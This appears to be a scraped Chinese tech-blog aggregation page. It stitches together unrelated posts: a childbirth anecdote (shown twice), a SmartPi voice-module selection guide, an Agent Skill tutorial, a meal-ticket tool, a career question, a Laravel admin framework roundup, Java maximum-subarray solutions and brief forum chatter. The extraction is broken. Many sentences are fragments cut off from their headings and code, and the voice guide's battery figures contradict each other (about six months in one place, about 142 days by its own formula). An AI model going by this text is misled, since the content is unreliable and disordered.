生育对女性的影响真的好大。
有个女同事之前一直脾气不算太好,我每次听到她声音时,不是和同事因为接口吵架,就是因为业务问题在拌嘴,永远皱着眉头,额头中间隐约呈现出一个“川”字形。
后来她回家生孩子去了,最近回来上班之后,我惊奇的发现她似乎变了一个人;再也没有听到她和同事争辩,和谁说话都是温温柔柔,眉头挥之不去的川字也消失不见。
如果她是解决了心中的什么事情导致心情很好,那我由衷的为她祝福;如果是生育、激素的影响,那我觉得这也太可怕了。
xiaohack博客专注前沿科技动态与实用技术干货分享,涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容,提供开源项目教程、科技资讯日报、工具使用指南,助力开发者、AI 爱好者获取前沿技术与实战经验。
有个女同事之前一直脾气不算太好,我每次听到她声音时,不是和同事因为接口吵架,就是因为业务问题在拌嘴,永远皱着眉头,额头中间隐约呈现出一个“川”字形。
后来她回家生孩子去了,最近回来上班之后,我惊奇的发现她似乎变了一个人;再也没有听到她和同事争辩,和谁说话都是温温柔柔,眉头挥之不去的川字也消失不见。
如果她是解决了心中的什么事情导致心情很好,那我由衷的为她祝福;如果是生育、激素的影响,那我觉得这也太可怕了。
2026 年,语音交互技术已经从简单的"命令-响应"模式,发展到融合 AI 大模型的自然对话阶段。在产品开发过程中,开发者面临着越来越多的选择: 本文基于 SmartPi 平台的完整产品矩阵,结合真实开发案例,系统性地分析 2026 年语音产品开发的技术趋势和选型策略。 传统模式: 免唤醒模式: 适用场景: JX-A7T 和 JX-17T 模组支持离在线混合架构: 优势: 随着用户对可视化交互的需求增加,2026 年更多产品开始集成屏幕显示: 技术方案: 需求描述: 选型方案: 配置要点: 需求描述: 选型方案: 功耗优化策略: 需求描述: 选型方案: 系统架构: 2026 年的产品开发越来越强调模块化: 工具链选择: 完整的测试流程: A:可以,但需要明确产品定位。 建议:对于明确控制类产品,纯离线仍然是首选方案。 A:当产品需要以下能力时: 成本考虑:AI 大模型方案成本是纯离线的 2-3 倍,需要评估目标用户群体的付费意愿。 A:采用渐进式开发策略: A:重点关注功耗参数: 续航估算公式: 关键词:语音产品、选型指南、技术趋势、离线语音、AI 大模型、2026 年趋势、产品开发前言
一、2026 年语音产品技术趋势
1.1 三大技术路线
技术路线 特点 适用场景 代表模组 纯离线方案 无需联网,响应快,隐私安全 智能家电、照明、玩具 SU-03T、CI-03T、SU-13T 离在线混合 离线唤醒 + 在线 AI,兼顾响应与智能 智能音箱、中控屏 JX-A7T、JX-17T 纯在线方案 依托大模型,对话能力强 教育机器人、陪护设备 云端语音服务 1.2 产品形态演进
2024年以前:
┌─────────────────────────────────────┐
│ 唤醒词 → 命令词 → 固定动作 │
│ "打开台灯" → GPIO高电平 → 灯亮 │
└─────────────────────────────────────┘
2025年:
┌─────────────────────────────────────┐
│ 唤醒词 → 自然说 → 条件判断 → 动作 │
│ "把灯调暗一点" → 变量-10 → PWM调节 │
└─────────────────────────────────────┘
2026年:
┌─────────────────────────────────────┐
│ 免唤醒/声纹 → AI对话 → 多模态响应 │
│ "我回来了" → 识别用户 → 场景联动 │
└─────────────────────────────────────┘二、产品选型决策矩阵
2.1 按应用场景选型
应用场景 推荐方案 核心模组 关键特性 智能照明 纯离线 SU-03T/CI-03T 低成本、快速响应 智能风扇 纯离线 SU-13T 多档位(150 条命令) 智能中控 离在线混合 JX-A7T 屏幕显示 +AI 对话 智能门锁 低功耗离线 SU-21T/SU-23T 超低功耗、电池供电 教育机器人 在线 AI JX-17T 大模型对话能力 蓝牙音箱 蓝牙 + 离线 SU-63T/JX-B5C 音乐 + 语音双模 2.2 按成本敏感度选型
成本敏感度排序(从低到高):
SU-03T < CI-03T < SU-13T < SU-21T/22T < CI-73T < SU-32T < JX-A7T < SU-63T < CI-95C < JX-17T
价格区间参考(仅供参考,以实际询价为准):
- ¥5以下:SU-03T系列(入门级)
- ¥5-10:CI-03T、SU-13T、SU-21T(中端)
- ¥10-20:CI-73T、SU-32T、JX-A7T(高端)
- ¥20以上:CI-95C、JX-17T(旗舰)2.3 按功能需求选型
功能需求 最少词条数 推荐模组 备选方案 基础开关控制 10-20 条 SU-03T CI-03T 多档位调节 50-100 条 SU-13T CI-33T 复杂场景控制 100-300 条 CI-73T SU-32T 声纹识别 50 条 + 声纹 CI-95C JX-A7T 声源定位 50 条 + 定位 CI-33T(带晶振) SU-32T 三、2026 年新增技术特性
3.1 免唤醒模式
用户:"你好小美,打开台灯"
设备:检测唤醒词 → 识别命令 → 执行动作
响应时间:约1-2秒用户:"打开台灯"
设备:直接识别命令 → 执行动作
响应时间:约0.5秒3.2 AI 大模型集成
┌─────────────────────────────────────────────────────────┐
│ AI大模型集成架构 │
├─────────────────────────────────────────────────────────┤
│ │
│ 本地处理 云端处理 │
│ ┌──────────┐ ┌──────────┐ │
│ │ 离线唤醒 │ ──快速────► │ AI大模型 │ │
│ │ 离线命令 │ │ 对话理解 │ │
│ │ 常用控制 │ │ 知识库 │ │
│ └──────────┘ └──────────┘ │
│ │ │ │
│ └────────── 数据同步 ──────┘ │
│ │
└─────────────────────────────────────────────────────────┘3.3 外接屏幕支持
显示内容类型:四、典型产品开发案例
案例 1:智能照明产品
功能模块 技术选择 原因 语音识别 SU-03T 成本低,基础控制足够 PWM 调光 2 路 PWM 亮度 + 色温独立控制 联网功能 JX-12F WiFi+BLE 双模,支持 APP 控制 供电 5V 直流 市电转换 命令词配置:
- 打开/关闭灯:基础开关
- 调亮/调暗:变量±10,PWM输出
- 最亮/最暗:变量边界值
- 暖光/冷光/白光:色温PWM切换
变量定义:
- brightness: 0-100(亮度百分比)
- colortemp: 0/1/2(色温模式)案例 2:智能门锁产品
功能模块 技术选择 原因 语音识别 SU-23T 超低功耗(1-3mA) 声纹识别 CI-95C 高可靠性声纹验证 供电 4 节 AA 电池 低功耗设计延长续航 唤醒方式 语音 + 触摸双触发 降低误唤醒 低功耗配置:
- 深度休眠唤醒阈值:中
- 进入休眠时间:5秒
- 语音唤醒灵敏度:中
- 触摸触发:GPIO输入(低功耗)
预期续航:
- 待机电流:~2mA
- 工作电流:~50mA(短暂)
- 每日使用20次:约6个月续航案例 3:智能中控屏产品
功能模块 技术选择 原因 语音识别 JX-A7T 离在线混合,AI 支持 屏幕显示 外部 MCU 驱动 UART 通信,复杂显示 联网功能 JX-A7T 内置 WiFi 支持云端控制 AI 能力 智能体平台 知识库 + 设备控制 ┌─────────────────────────────────────────────────────────┐
│ 中控屏系统架构 │
├─────────────────────────────────────────────────────────┤
│ │
│ ┌────────────┐ UART ┌────────────┐ │
│ │ JX-A7T │ ◄─────────► │ 屏幕MCU │ │
│ │ 语音模组 │ │ (显示驱动) │ │
│ └────────────┘ └──────┬─────┘ │
│ │ │ │
│ │ WiFi │ SPI/I2C │
│ ▼ ▼ │
│ ┌────────────┐ ┌────────────┐ │
│ │ 云端服务 │ │ TFT屏幕 │ │
│ │ (AI大模型) │ │ (2.4寸) │ │
│ └────────────┘ └────────────┘ │
│ │
└─────────────────────────────────────────────────────────┘五、开发趋势与最佳实践
5.1 模块化设计理念
传统开发模式:
需求 → 硬件设计 → 固件开发 → 调试 → 量产
└────────────────┘ 一次性投入
模块化开发模式:
┌─────────────────────────────────────┐
│ 通用模块 + 定制化配置 │
├─────────────────────────────────────┤
│ • 语音识别模块(标准件) │
│ • 控制逻辑模块(平台配置) │
│ • 业务逻辑模块(自定义) │
│ • 外设驱动模块(标准接口) │
└─────────────────────────────────────┘5.2 快速原型开发
开发阶段 推荐工具 优势 概念验证 Mixly 图形化编程 零代码,快速验证 固件配置 智能公元平台 在线配置,实时生成 调试优化 串口日志 + 平台调试 可视化分析 量产准备 固件继承 + 版本管理 批量一致性 5.3 测试与验证
1. 单元测试
├─ 语音识别率测试(各命令词)
├─ 功能响应测试(GPIO/UART输出)
└─ 稳定性测试(长时间运行)
2. 集成测试
├─ 多设备联动测试
├─ 网络连接测试(在线方案)
└─ 异常恢复测试(断网重启)
3. 用户体验测试
├─ 响应时间测试
├─ 误唤醒率测试
└─ 声纹识别准确率测试六、常见问题与解决方案
Q1:纯离线方案还能满足 2026 年的用户需求吗?
Q2:什么时候需要考虑 AI 大模型?
Q3:如何平衡功能丰富度和开发成本?
阶段1:基础版(MVP)
├─ 纯离线方案
├─ 核心功能(开关、档位)
└─ 快速上市验证市场
阶段2:增强版
├─ 保留离线基础
├─ 增加自然说、条件判断
└─ 提升用户体验
阶段3:旗舰版
├─ 离在线混合
├─ AI大模型对话
└─ 多模态交互Q4:电池供电产品如何选择模组?
模组 待机电流 唤醒电流 适用场景 SU-21T/22T \~1mA \~20mA 遥控器、门锁 SU-23T \~1-3mA \~30mA 电池供电设备 SU-03T \~10mA \~50mA 市电供电设备 JX-A7T \~55mA \~300mA 需要充电的设备 续航天数 = 电池容量(mAh) / (待机电流×待机时间占比 + 工作电流×工作时间占比) × 24
示例:4节AA电池(2000mAh×4=8000mAh)
- 待机电流:2mA
- 每日使用:20次×3秒×50mA=8.33mAh
- 每日总消耗:2mA×24h + 8.33mAh ≈ 56.33mAh
- 续航:8000/56.33 ≈ 142天七、总结与展望
2026 年选型建议
产品类型 首选方案 次选方案 智能照明 SU-03T CI-03T 智能风扇 SU-13T CI-73T 智能门锁 SU-23T SU-21T 智能中控 JX-A7T SU-32T 教育机器人 JX-17T JX-A7T 蓝牙音箱 JX-B5C SU-63T 未来技术趋势
参考资源
素材来源:SmartPi 官方文档 + 技术交流群真实案例 + 行业趋势分析
适用模组:SU-03T、CI-03T、SU-13T、SU-21T、SU-23T、CI-73T、SU-32T、JX-A7T、JX-17T、SU-63T、CI-95C、JX-B5C
你是不是也有过这样的崩溃时刻? 这些问题的根源,其实是 本文将带你从 是什么 到 怎么用在实际工作中,彻底掌握这个比 用最通俗的比喻: 想象你招了一位天才实习生 技术本质: 当 下面用 场景:开会录音转文字后,需要整理成结构化会议纪要。不同会议类型(周会/项目复盘/客户沟通)需要不同的整理模板。 新建一个名为 在 需要切换为 本文案例 https://gitee.com/zlt2000/my-agent-skill/tree/master/meeting-minutes https://github.com/zlt2000/my-agent-skill/tree/master/meeting-minutes 在实际使用过程中本文 Skill 还可以进行以下迭代优化: 核心价值优势: 本文由mdnice多平台发布
一、为什么 Agent Skill 突然火了?
Claude 写代码,都要重复粘贴 请使用我们的代码规范:驼峰命名、2空格缩进、必须写单元测试 ——像极了每天入职新公司;Prompt 换个项目就完全失效,之前的调教经验归零;AI 的 专业能力无法沉淀。直到 2025 年 10 月 Anthropic 推出 Agent Skill(又名 Claude Code Skill)正是为解决这些问题而生。这不仅是 Claude 的新功能,更是一个 开放的跨平台标准,目前已被 OpenAI、Cursor、Trae 等主流工具跟进支持。Prompt 更高级、比 MCP 更易用的 AI 编程神器。二、到底什么是 Agent Skill?
Agent Skill 是 AI 的 入职手册 + 工具箱。Claude 他智商极高但不懂你们公司的业务。传统的做法是每次布置任务都口头交代一遍 Prompt 而 Agent Skill 则是给他一本完整的标准作业程序 SOP:Agent Skill 是一个标准化的文件夹结构,核心必须包含 SKILL.md 文件(YAML元数据 + Markdown说明),可选包含脚本、模板等资源文件。my-skill/ # 技能包根目录
├── SKILL.md # 📄 核心文件:元数据 + 工作流指令(必须)
├── scripts/ # 🔧 可选:自动化脚本(Python/Bash)
├── references/ # 📖 可选:专业文档、API手册、FAQ
└── assets/ # 🎨 可选:模板、示例、静态资源AI 检测到相关任务时,会自动 翻开 对应的手册,严格按照既定流程执行,无需你每次都重复交代。三、Skill工作原理
Skill 最精妙的设计,是它的 渐进式加载机制 —— 就像你查字典,先看目录,再翻对应章节,最后查附录,不会一上来就把整本书塞进脑子里。3.1. 三层加载:用最少的 Token 做最多的事

加载层级 内容类型 加载时机 作用 L1 元数据(名片) Agent 启动时自动加载 让AI知道“有什么技能可用” L2 说明文档(正文) 匹配用户需求时加载 教AI“具体怎么做” L3 资源文件(脚本 / 模板) 执行中按需加载 提供“工具/素材支持” 3.2. 四步执行流程

四、现有技术的对比
4.1. Agent Skill vs Prompt
维度 普通 Prompt Agent Skill 性质 临时指令,用完即走 标准化流程,永久复用 加载方式 每次全量输入 按需渐进加载 稳定性 依赖模型"记忆",易漂移 固化检查点,强制执行 管理 分散在聊天记录里 文件化、版本可控 共享 复制粘贴,易丢失格式 整包分享,开箱即用 一句话总结:Prompt 是 口头交代,Skills 是书面 SOP + 工具箱。
4.2. Agent Skill vs 多 Agent 架构
维度 多 Agent 架构 Agent Skill 复杂度 重量级,需要架构设计 轻量级,单个文件夹即可 适用场景 复杂并行任务(如研究+写作+审核同时进行) 单领域深度任务(如专业代码审查) 资源消耗 高,需调度多个 Agent 实例 低,单 Agent 内能力切换 启动成本 需要搭建 Agent 框架 零成本,复制文件夹即可 关系 体系级解决方案 单元级能力模块,可被多 Agent 调用 4.3. Agent Skill vs MCP
维度 MCP Agent Skill 定位 连接协议:AI 与外部系统的"USB 接口" 执行标准:AI 做事的"操作手册" 解决的问题 能不能连(访问数据库、API、文件系统) 怎么做(流程、规范、最佳实践) 技术形态 需要运行 MCP Server(TypeScript/Python) 静态文件夹(Markdown + 脚本) 加载时机 启动时建立连接 按需渐进加载 关系 互补:MCP 提供“工具” Skills 提供“使用指南” MCP 让 AI 能连上数据库,Skill 教 AI 怎么按你们公司的规范查数据、生成报表、处理异常。两者配合,AI 才能真正成为"懂行的专家"。
五、创建你的第一个 Agent Skill
会议纪要整理助手 为例,从零创建一个 Skill5.1. 创建 Skill 文件夹结构
meeting-minutes 的文件夹,总体的文件结构如下:/meeting-minutes/
├── SKILL.md # L1:技能元数据,L2:内容
├── references/ # L3:按会议类型按需加载
│ ├── weekly-rule.md # 周会模板
│ ├── retro-rule.md # 复盘模板
│ └── client-rule.md # 客户沟通模板5.2. SKILL.md(核心文件)
5.2.1. 元数据
SKILL.md 文件最开头以上下两个 --- 作为元数据标识---
name: meeting-minutes
description: 办公室通用会议纪要整理助手,支持周会/项目复盘会/客户沟通会三类场景,自动识别会议类型,按需加载对应会议规则,智能提取关键信息,输出结构化纪要。
---5.2.2. SKILL内容

5.3. 编写模块化配置references

通过文件分离,AI每次只读取当前任务所需的规则,避免 Context 污染
5.4. 测试你的 Skill(以 Trae 为例)
Trae 作为国内的 AI IDE 已原生支持 Agent Skillshttps://www.trae.cn/TRAE IDE5.4.1. 导入Skill
my_skillsTRAE IDE 打开这个文件夹meeting-minutes 文件夹复制到 my_skills/.trae/skills/ 目录下5.4.2. 输入提示词
SOLO 模式,然后在对话框输入以下提示词:帮我生成周会会议纪要
原始文本:
小明:用户模块我搞完了,已经提测。
小红:接口文档我还没弄,我负责写,周五前给出来。
张三:测试环境那个问题搞不定,需要运维老陈帮忙看看。
李四:下周我打算开始订单模块,周三前出个技术方案看看。
王五:数据库设计谁review一下?
小明:我来吧,不过得明天才有空。5.4.3. 执行Skill

5.4.4. 最终输出以下内容

六、本文Skill下载地址
会议纪要整理助手 Skill 的下载地址如下:references 里扩展更多的 会议类型 模板;script 文件夹写 Python 脚本,实现输出内容 导出word文档 或者 同步给飞书。七、总结
Agent Skills 的正式发布,标志着 AI 协作从 提示词工程 正式迈入 技能工程 的全新范式。它将人类专家的经验、标准化流程与行业最佳实践,封装成 AI 可理解、可执行、可复用的数字资产。
易饭票”是一款专为文员、办公室行政人员、学校及各类机构打造的极简票券设计工具。
从此打印饭票不再需要找文印店,只需要利用传统的打印机即可制作饭票。
针对传统排版中的痛点,彻底解决了“在 Word 里拉框子画线”以及繁琐的“邮件合并”操作。通过智能化的拼版系统和自动化工具,让您只需专注于设计,剩下的工作全部交给“易饭票”。
在线演示:https://mealtkt.langhub.top/
源代码右键自取

.fpt 工程文件,方便下次活动直接修改日期或面值重复使用。[背景概述]
IT 技术岗,工作 7 年。平时都在协调、组织,写材料。“带了”几个同事干活。
但是本身是技术岗,非管理岗。以为自己主动在帮领导分忧。
一年过去了,隔壁和我类似的同事升管理岗、拿了优秀。但是我还是虚线。
领导从来不主动谈这些事情,但是隔壁的领导是主动谈并且给选择。
[疑问]
感觉干纯技术岗位更舒服,不用为“组织协调”、和很多人打交道费尽心思。
在通向所谓“技术管理”岗位上,反而留给自己的时间更少,技术难以沉淀,都在帮组织解决问题、帮同事解决问题、尝试让同事更强,反而自己技术成长有限。
另外,管理岗是不是更不好跳槽?技术岗相对更容易跳槽?
大家有遇到类似的情况吗,怎么看待职场这样的变化?
搭建企业级 PHP 后台管理系统,选择一款合适的 Laravel admin 框架至关重要。PHP 作为 Web 开发领域最成熟的语言之一,拥有众多优秀的后台管理框架。Laravel 框架凭借优雅的语法和完善的生态,已成为 GitHub 上 stars 最高的 PHP 框架,围绕它诞生了大量优质的 PHP 后台框架。 本文将从开发效率、灵活性、学习成本三个维度,为你推荐 2026 年最值得使用的 7 款 PHP admin 后台管理系统。无论你是需要快速搭建企业后台、开发 SaaS 平台,还是构建电商管理系统,都能找到适合的 Laravel 后台管理解决方案。 在选择 PHP 管理后台框架之前,需要先明确项目需求。不同类型的 Laravel admin 框架适用于不同场景,选错框架可能导致后期开发成本大幅增加。下面按抽象程度从低到高,介绍三种主流的 PHP 后台框架类型: 脚手架型框架通过命令行自动生成 Model、Controller、路由和基础 CRUD 代码。优势是灵活性高,生成的代码完全可控;劣势是后期维护需要手动修改生成的代码。 CRUD 接口型框架提供一套完整的后台管理组件,开发者只需定义资源配置即可自动生成管理界面。代码量相对较少,但遇到复杂业务逻辑时需要额外扩展。本文推荐的 Laravel Nova、CatchAdmin、Filament、Backpack、Orchid 都属于这种类型。这类 PHP 后台管理系统在灵活性和开发效率之间取得了良好平衡,是目前最主流的选择。 可视化编程型框架抽象程度最高,通过拖拽或配置即可生成后台界面。部署快速,对编程能力要求较低,但灵活性也相对受限。Voyager 和 QuickAdminPanel 属于这种类型。 以下按推荐顺序介绍 7 款主流的 Laravel admin 后台管理框架,涵盖付费和开源方案,适用于从个人项目到企业级应用的各种场景。 Laravel Nova 是 Laravel 框架作者 Taylor Otwell 亲自打造的官方后台管理系统。作为官方产品,Nova 在架构设计和性能优化上都达到了极高水准。 Nova 采用 Vue.js 构建前端,提供了资源管理、搜索过滤、图表统计、自定义操作等开箱即用的功能。扩展生态非常完善,几乎每天都有新的扩展包在 Nova Packages 上线。 优势: 劣势: 适用场景: 商业项目、对稳定性要求高的企业级应用。 CatchAdmin 是一款基于 Laravel 12.x 和 Vue 3 + Element Plus 的企业级前后端分离后台管理系统。它充分利用 PHP 8+ 特性,采用现代化架构设计,是目前最受欢迎的开源 Laravel admin 框架之一。 对于需要搭建企业级 PHP 后台管理系统的团队来说,CatchAdmin 提供了开箱即用的完整解决方案。它不仅仅是一个 Laravel 后台框架,更是一套经过生产验证的企业级开发脚手架。 CatchAdmin 的核心优势在于模块化设计。每个业务模块拥有独立的控制器、路由、模型和数据表,模块之间完全解耦。这种架构让团队可以并行开发不同模块,后期维护也更加轻松。 CatchAdmin 还支持 Vue 即时渲染,前端代码修改后无需编译即可生效,大幅提升开发调试效率。 优势: 劣势: 适用场景: 企业后台管理、SaaS 平台、电商后台、CRM/OA 等企业应用、中大型项目。 Filament 是 2021 年发布的 Laravel admin 框架,近两年在社区的热度持续攀升,已成为 Laravel 生态中最受欢迎的开源后台框架之一。 Filament 基于 Livewire 和 Alpine.js 构建,采用 Tailwind CSS 设计。它不仅仅是一个后台管理框架,还包含表单构建器、表格构建器、通知系统等独立组件,可以单独使用。 优势: 劣势: 适用场景: 开源项目、个人项目、中小型企业项目。 Backpack 自 2016 年发布以来,一直保持稳定更新。它提供了一套完整的 CRUD 组件和丰富的字段类型,同时还有可视化开发工具 Backpack DevTools。 Backpack 的文档写得非常详尽,配有视频教程,学习成本较低。它的设计哲学是「约定优于配置」,大部分场景下只需简单配置即可完成开发。 优势: 劣势: 适用场景: 快速原型开发、对文档要求高的团队。 Orchid 由俄罗斯开发者 Alexandr Chernyaev 创建,是一个功能完善的 Laravel 后台管理框架。它内置了表单构建器、表格过滤器、排序、搜索等功能,细节处理得非常到位。 Orchid 的亮点在于它的 Screen 概念,将页面逻辑封装在 Screen 类中,代码组织清晰。同时,Orchid 拥有活跃的开源社区和大量的赞助者,保证了项目的持续发展。 优势: 劣势: 适用场景: 开源项目、需要精细权限控制的系统。 Voyager 与其他 Laravel admin 有所不同,它可以根据数据库表自动创建 BREAD(Browse、Read、Edit、Add、Delete)界面,无需编写代码。 Voyager 内置了媒体管理器,支持在 UI 层面管理文件。菜单构建器让你可以直接在页面上拖拽管理菜单结构。对于需要快速搭建后台的项目,Voyager 是一个不错的选择。 优势: 劣势: 适用场景: 快速原型、内容管理系统、对灵活性要求不高的项目。 QuickAdminPanel 的理念就是「快」。整个开发流程在线完成:在官网配置 admin 面板,选择需要的模块,点击下载,获得定制代码,部署到服务器。 这种模式特别适合需求明确、不需要太多灵活性的项目。生成的代码基于 Laravel 标准结构,后期也可以手动修改。 优势: 劣势: 适用场景: 快速启动项目、外包项目、MVP 开发。 以下表格从价格、技术栈、学习曲线、灵活性、前后端分离五个维度对比 7 款 Laravel admin 后台管理框架: 从表格可以看出,如果你需要一款免费、前后端分离、灵活性高的 PHP 后台管理框架,CatchAdmin 是为数不多同时满足这三个条件的选择。 选择 Laravel admin 后台管理框架需要综合考虑项目规模、团队技术栈、预算等因素: 无论选择哪个 Laravel 后台框架,建议先在小项目中试用,评估是否符合团队的开发习惯和项目需求。2026 年最值得使用的 7 款 PHP 管理后台框架推荐
PHP 后台管理框架选型指南
脚手架型
CRUD 接口型
可视化编程
2026 年 7 款 PHP 后台管理框架详解
Laravel Nova - 官方出品的标杆之作
CatchAdmin - 企业级前后端分离方案
核心功能
# 快速安装,五分钟即可构建
composer create catchadmin/catchadmin
cd catchadmin
php artisan catch:installFilament - 社区最火的后起之秀
// Filament 资源定义示例
use Filament\Resources\Resource;
class PostResource extends Resource
{
protected static ?string $model = Post::class;
public static function form(Form $form): Form
{
return $form->schema([
TextInput::make('title')->required(),
RichEditor::make('content'),
Select::make('status')->options([
'draft' => '草稿',
'published' => '已发布',
]),
]);
}
}Backpack - 灵活与效率的平衡
Orchid - 开源社区的优秀选择
// Orchid Screen 示例
use Orchid\Screen\Screen;
class PostListScreen extends Screen
{
public function query(): array
{
return [
'posts' => Post::paginate(),
];
}
public function layout(): array
{
return [
PostListLayout::class,
];
}
}Voyager - 可视化管理的先驱
QuickAdminPanel - 在线生成定制代码
PHP 管理后台框架对比
框架 价格 技术栈 学习曲线 灵活性 前后端分离 Laravel Nova $99-$299 Vue.js 中 高 ✅ CatchAdmin 免费 Vue 3 + Element Plus 中 高 ✅ Filament 免费 Livewire + Alpine.js 低 中高 ❌ Backpack €69+ jQuery + Bootstrap 低 中 ❌ Orchid 免费 Laravel Blade 中高 高 ❌ Voyager 免费 Laravel Blade 低 低 ❌ QuickAdminPanel $199/年 Laravel 标准 低 中 ❌ 如何选择合适的 PHP 后台管理框架
[原文 2026 年最值得使用的 7 款 PHP 管理后台框架推荐
](https://catchadmin.com/post/2026-02/php-admin-panel-2026)
输⼊⼀个⻓度为n 的整型数组array ,数组中的⼀个或连续多个整数组成⼀个⼦数组,找到⼀个具有 示例 1 示例 2 通过三重循环枚举所有可能的子数组,使用三重循环枚举所有可能的子数组起始和结束位置,计算每个子数组的和 在暴力法基础上优化,利用前缀和在计算子数组和时复用之前的结果,减少一层循环 采用分治思想,将问题分解为更小的子问题 将问题分解为左半部分、右半部分和跨越中间的三部分 即递归求解左右子数组,合并时处理跨越中间的情况 遍历数组,维护当前子数组和,根据规则重置或扩展当前子数组 假设现在有 n 个元素,突然加上⼀个元素,变成 n+1 个元素,对连续⼦数组的最⼤和有什么影响呢? 我们只需要知道以每⼀个元素结尾的最⼤连续⼦数组,再维护⼀个最⼤的值即可。 假设数组为num[] ,⽤ dp[i] 表示以下标 i 为终点的最⼤连续⼦数组和,遍历每⼀个新的元素nums[i+1] ,以 num[i+1] 为连续⼦数组的情况只有两种: 所以以nums[n] 结尾的最⼤连续⼦数组和为: dp[i] = max( dp[i-1] + num[i], num[i]) 在计算的过程中,需要维护⼀个最⼤的值,并且把该连续⼦数组的左边界以及右边界维护好,最后根据维护的区间返回。题⽬描述
最⼤和的连续⼦数组。
输⼊:[1,-2,3,10,-4,7,2,-5]
返回值:[3,10,-4,7,2]
说明:经分析可知,输⼊数组的⼦数组[3,10,-4,7,2]可以求得最⼤和为18,故返回[3,10,-4,7,2]
输⼊:[1]
返回值:[1]思路及解答
暴力枚举
public class Solution {
public int[] findMaxSubarray(int[] array) {
if (array == null || array.length == 0) {
return new int[0];
}
int n = array.length;
int maxSum = Integer.MIN_VALUE;
int start = 0, end = 0;
// 第一重循环:子数组起始位置
for (int i = 0; i < n; i++) {
// 第二重循环:子数组结束位置
for (int j = i; j < n; j++) {
int currentSum = 0;
// 第三重循环:计算子数组和
for (int k = i; k <= j; k++) {
currentSum += array[k];
}
// 更新最大和及位置(优先选择长度更长的)
if (currentSum > maxSum || (currentSum == maxSum && (j - i) > (end - start))) {
maxSum = currentSum;
start = i;
end = j;
}
}
}
// 构建结果数组
int[] result = new int[end - start + 1];
System.arraycopy(array, start, result, 0, result.length);
return result;
}
}优化枚举法(前缀和思想)
public class Solution {
public int[] findMaxSubarray(int[] array) {
if (array == null || array.length == 0) {
return new int[0];
}
int n = array.length;
int maxSum = Integer.MIN_VALUE;
int start = 0, end = 0;
// 外层循环:子数组起始位置
for (int i = 0; i < n; i++) {
int currentSum = 0;
// 内层循环:从起始位置向后累加
for (int j = i; j < n; j++) {
currentSum += array[j]; // 复用之前计算的结果
// 更新最大和(优先选择长度更长的)
if (currentSum > maxSum || (currentSum == maxSum && (j - i) > (end - start))) {
maxSum = currentSum;
start = i;
end = j;
}
}
}
return buildResult(array, start, end);
}
private int[] buildResult(int[] array, int start, int end) {
int[] result = new int[end - start + 1];
System.arraycopy(array, start, result, 0, result.length);
return result;
}
}分治法(递归思维)
public class Solution {
public int[] findMaxSubarray(int[] array) {
if (array == null || array.length == 0) {
return new int[0];
}
Result result = findMaxSubarrayHelper(array, 0, array.length - 1);
return buildResult(array, result.start, result.end);
}
private Result findMaxSubarrayHelper(int[] array, int left, int right) {
// 基准情况:单个元素
if (left == right) {
return new Result(left, right, array[left]);
}
int mid = left + (right - left) / 2;
// 递归求解左右两部分
Result leftResult = findMaxSubarrayHelper(array, left, mid);
Result rightResult = findMaxSubarrayHelper(array, mid + 1, right);
Result crossResult = findMaxCrossingSubarray(array, left, mid, right);
// 返回三者中的最大值(长度优先)
return getMaxResult(leftResult, rightResult, crossResult);
}
private Result findMaxCrossingSubarray(int[] array, int left, int mid, int right) {
// 向左扩展找最大和
int leftSum = Integer.MIN_VALUE;
int sum = 0;
int maxLeft = mid;
for (int i = mid; i >= left; i--) {
sum += array[i];
if (sum > leftSum) {
leftSum = sum;
maxLeft = i;
}
}
// 向右扩展找最大和
int rightSum = Integer.MIN_VALUE;
sum = 0;
int maxRight = mid + 1;
for (int i = mid + 1; i <= right; i++) {
sum += array[i];
if (sum > rightSum) {
rightSum = sum;
maxRight = i;
}
}
return new Result(maxLeft, maxRight, leftSum + rightSum);
}
private Result getMaxResult(Result r1, Result r2, Result r3) {
Result maxResult = r1;
if (r2.sum > maxResult.sum || (r2.sum == maxResult.sum && (r2.end - r2.start) > (maxResult.end - maxResult.start))) {
maxResult = r2;
}
if (r3.sum > maxResult.sum || (r3.sum == maxResult.sum && (r3.end - r3.start) > (maxResult.end - maxResult.start))) {
maxResult = r3;
}
return maxResult;
}
private int[] buildResult(int[] array, int start, int end) {
int[] result = new int[end - start + 1];
System.arraycopy(array, start, result, 0, result.length);
return result;
}
// 辅助类存储子数组结果
class Result {
int start, end, sum;
Result(int s, int e, int sum) {
this.start = s;
this.end = e;
this.sum = sum;
}
}
}动态规划-Kadane算法(最优解)

public class Solution85 {
public int[] FindGreatestSumOfSubArray(int[] array) {
int[] dp = new int[array.length];
dp[0] = array[0];
int maxsum = dp[0];
int left = 0, right = 0;
int maxLeft = 0, maxRight = 0;
for (int i = 1; i < array.length; i++) {
right++;
dp[i] = Math.max(dp[i - 1] + array[i], array[i]);
if (dp[i - 1] + array[i] < array[i]) {
left = right;
}
// 更新最⼤值以及更新最⼤和的⼦数组的边界
if (dp[i] > maxsum || dp[i] == maxsum && (right - left + 1) > (maxRight - maxLeft + 1)) {
maxsum = dp[i];
maxLeft = left;
maxRight = right;
}
}
// 保存结果
int[] res = new int[maxRight - maxLeft + 1];
for (int i = maxLeft, j = 0; i <= maxRight; i++, j++) {
res[j] = array[i];
}
return res;
}
}
35 了 目前在二线互联网大厂 目测短期还能苟住
国企是项目制的,总包要砍掉一大半
空闲时候花了几分钟做了一个 Win 的刘海,如下图:

目前可以显示时间,按理在这块“刘海”是可以显示更多的内容,比如 todoList,或是每日提醒,或是每日一句。

